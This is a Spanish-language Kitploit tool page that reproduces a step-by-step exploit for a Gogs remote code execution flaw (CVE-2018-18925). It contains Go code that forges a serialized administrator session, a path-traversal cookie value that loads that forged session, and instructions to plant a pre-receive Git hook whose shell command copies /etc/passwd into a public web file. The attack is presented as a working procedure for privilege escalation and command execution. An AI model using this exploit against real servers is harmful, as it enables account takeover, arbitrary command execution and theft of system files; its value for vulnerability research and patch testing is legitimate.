Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jas502n/gogs_rce
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubjas502n/gogs_rce

Gogs_RCE

Exploit para Gogs RCE (CVE-2018-18925) que aprovecha la falsificación de sesión y la inyección de hooks de Git para lograr la ejecución arbitraria de comandos con privilegios de root.

Ver Repositorio
1643hace 6 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de la vulnerabilidad Gogs_RCE

0x01 Registro de cuenta normal en el frontend

0x02 Compilar con go para falsificar la sesión de administrador

go run main.go

root@kitploit:~
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

Se generará un archivo data en el directorio actual

root@kitploit:~
root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 El usuario normal publica una nueva versión

Adjunto: http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

Establecer el campo de cookie i_like_gogits como la ruta del archivo de la nueva versión, concatenando las 2 primeras letras Por ejemplo:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 Refrescar la página y convertirse en la cuenta de administrador root

Después de modificarlo

Cuenta root

0x05 Configuración del repositorio, administrar ganchos de Git, nombre del gancho pre-receive

Cuando el servidor es una plataforma Linux, escribir directamente el script de shell para ejecutar comandos.

El comando se dispara después de subir un nuevo archivo al repositorio.

0x06 Retroalimentación de comandos - Panel de administración - Gestión de configuración de la aplicación - Directorio raíz de archivos estáticos

A través del directorio raíz de archivos estáticos se obtiene la ruta absoluta: Por ejemplo

root@kitploit:~
Directorio raíz de archivos estáticos    /app/gogs

Contenido del script de shell:

cat /etc/passwd > /app/gogs/public/js/1.js

Ruta de retroalimentación del sitio web:

https://127.0.0.1:3000/js/1.js

Enlaces de referencia:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

Descargar herramienta